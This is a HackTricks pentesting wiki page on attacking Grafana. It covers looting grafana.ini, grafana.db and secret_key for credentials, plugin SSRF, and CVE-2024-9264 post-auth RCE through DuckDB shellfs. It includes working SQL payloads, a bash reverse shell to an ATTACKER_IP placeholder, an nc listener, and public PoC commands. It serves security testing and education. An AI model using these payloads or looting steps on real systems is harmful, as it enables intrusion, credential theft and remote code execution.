grafana.md (8203B)
1 --- 2 title: "Grafana" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/grafana.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/grafana.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Grafana 14 15 ## Interesting stuff 16 17 - Main configuration for Debian/RPM installs is commonly **`/etc/grafana/grafana.ini`** and can contain values such as **`admin_user`**, **`admin_password`**, **`secret_key`**, OAuth settings, SMTP credentials, and renderer tokens.<sup>[[9]](#references)</sup> 18 - The default SQLite database path for those packages is **`/var/lib/grafana/grafana.db`**; container and custom installations may override it.<sup>[[9]](#references)</sup> 19 - Provisioning files are very interesting after host access:<sup>[[4]](#references)</sup> 20 - **`/etc/grafana/provisioning/datasources/*.yaml`** 21 - **`/etc/grafana/provisioning/plugins/*.yaml`** 22 - Environment-variable expansion is supported in provisioning files, so leaked YAML often reveals both secrets and the env var names backing them. 23 - Installed plugins are commonly found under **`/var/lib/grafana/plugins`**, unless `paths.plugins` is changed.<sup>[[9]](#references)</sup> 24 - Inside the platform you could **invite people**, **generate API keys / service account tokens**, **list plugins**, or **install new plugins** depending on the role. 25 - The browser is also loot: Grafana exposes non-secret datasource config to the frontend. If you have a **Viewer** session (or **anonymous access** is enabled), inspect **`window.grafanaBootData`** from DevTools.<sup>[[2]](#references)</sup> 26 27 Useful SQLite checks: 28 29 ```sql 30 .tables 31 .schema data_source 32 SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source; 33 SELECT id,org_id,uid,login,email,is_admin FROM user; 34 SELECT id,org_id,uid,name,slug FROM dashboard; 35 ``` 36 37 ## Looting datasources and secrets 38 39 Grafana separates browser-readable configuration from encrypted secrets:<sup>[[2]](#references)</sup> 40 41 - **`jsonData`** is visible to users in the browser and is commonly enough to enumerate internal hosts, tenants, auth modes, header names, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs, and similar recon data. 42 - **`secureJsonData`** is encrypted server-side and no longer readable from the browser after the datasource is saved. 43 44 Post-exploitation workflow: 45 46 1. Dump **`grafana.ini`** and recover **`secret_key`**. 47 2. Loot **`grafana.db`** and provisioning files. 48 3. Enumerate datasources and plugin configuration to find reusable credentials and internal endpoints. 49 4. If migrating or replaying the database in another Grafana instance, keep the same **`secret_key`** or stored datasource passwords/tokens will not decrypt correctly.<sup>[[3]](#references)</sup> 50 51 Why **`secret_key`** matters in newer versions:<sup>[[3]](#references)</sup> 52 53 - Since Grafana v9, database secrets use envelope encryption. 54 - Grafana encrypts secrets with **data encryption keys (DEKs)**, and those DEKs are encrypted with a **key encryption key (KEK)** derived from **`secret_key`**. 55 - From an attacker perspective, **`grafana.db` + `secret_key`** is the pair worth stealing. 56 57 ## Plugin attack surface 58 59 Treat plugins as part of the target, not a footnote: 60 61 - Enumerate them from the filesystem, from the UI, or from the API: 62 63 ```bash 64 curl -s http://grafana.target/api/plugins | jq '.[].id' 65 ``` 66 67 - Older or third-party plugins regularly expand Grafana's reach into internal networks because they proxy HTTP requests or interact with local files/databases.<sup>[[5]](#references)</sup> 68 - Recent examples include SSRF in the **Infinity** plugin (`< 3.4.1`) and abuse paths where the **Image Renderer** plugin turns another bug into **full-read SSRF**. 69 70 ## CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI 71 72 Grafana’s experimental SQL Expressions feature can evaluate DuckDB queries that embed user-controlled text. Insufficient sanitization allows attackers to chain DuckDB statements and load the community extension shellfs, which exposes shell commands via pipe-backed virtual files.<sup>[[1]](#references)[[6]](#references)</sup> 73 74 ### Impact 75 - Any authenticated user with VIEWER or higher can get code execution as the Grafana OS user (often grafana; sometimes root inside a container) or perform local file reads.<sup>[[1]](#references)</sup> 76 - Preconditions commonly met in real deployments:<sup>[[1]](#references)</sup> 77 - SQL Expressions enabled: `expressions.enabled = true` 78 - `duckdb` binary present in PATH on the server 79 80 ### Quick Checks 81 - In the UI/API, browse Admin settings (Swagger: `/swagger-ui`, endpoint `/api/admin/settings`) to confirm: 82 - `expressions.enabled` is true 83 - Optional: version, datasource types, and general hardening settings 84 - Shell on host: `which duckdb` must resolve for the exploit path below. 85 86 ### Manual Query Pattern Using DuckDB and shellfs 87 - Abuse flow (2 queries):<sup>[[7]](#references)</sup> 88 1) Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe 89 2) Read back the temp file using `read_blob` 90 91 Example SQL Expressions payloads that get passed to DuckDB: 92 ```sql 93 -- 1) Prepare shellfs and run command 94 SELECT 1; INSTALL shellfs FROM community; LOAD shellfs; 95 SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |'); 96 -- 2) Read the output back 97 SELECT content FROM read_blob('/tmp/grafana_cmd_output'); 98 ``` 99 Replace CMD with your desired command. For file-read (LFI) you can instead use DuckDB file functions to read local files. 100 101 ### One-Line Reverse-Shell Example 102 ```bash 103 bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1" 104 ``` 105 Embed that as CMD in the first query while you have a listener: `nc -lnvp 443`. 106 107 ### Automated PoC 108 - Public PoC (built on cfreal’s ten framework):<sup>[[7]](#references)[[8]](#references)</sup> 109 - [https://github.com/nollium/CVE-2024-9264](https://github.com/nollium/CVE-2024-9264)<sup>[[7]](#references)</sup> 110 111 Usage example 112 ```bash 113 # Confirm execution context and UID 114 python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target 115 # Launch a reverse shell 116 python3 CVE-2024-9264.py -u <USER> -p <PASS> \ 117 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \ 118 http://grafana.target 119 ``` 120 If output shows `uid=0(root)`, the Grafana process is running as root. Do not assume that is the default for all containers. 121 122 ## 2025 client-side traversal / open redirect chain 123 124 The 2025 Grafana client-side traversal and open-redirect chain is already documented in more generic client-side pages. Use those techniques against Grafana-specific paths such as plugin assets, dashboard script loaders, and token-rotation redirects: 125 126 [Client Side Path Traversal](/hacktricks/pentesting-web/client-side-path-traversal) 127 128 [Open Redirect](/hacktricks/pentesting-web/open-redirect) 129 130 ## References 131 132 - [1] [Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)](https://grafana.com/security/security-advisories/cve-2024-9264/) 133 - [2] [Grafana docs – Add authentication for data source plugins (`jsonData`, `secureJsonData`, `window.grafanaBootData`)](https://grafana.com/developers/plugin-tools/how-to-guides/data-source-plugins/add-authentication-for-data-source-plugins) 134 - [3] [Grafana docs – Configure database encryption](https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-database-encryption/) 135 - [4] [Grafana docs – Provision Grafana](https://grafana.com/docs/grafana/latest/administration/provisioning/) 136 - [5] [Cycode – One Plugin Away: Breaking Into Grafana from the Inside](https://cycode.com/blog/one-plugin-away-breaking-into-grafana-from-the-inside/) 137 - [6] [DuckDB shellfs community extension](https://duckdb.org/community_extensions/extensions/shellfs.html) 138 - [7] [nollium/CVE-2024-9264 PoC](https://github.com/nollium/CVE-2024-9264) 139 - [8] [cfreal/ten framework](https://github.com/cfreal/ten) 140 - [9] [Grafana documentation - Configuration](https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/)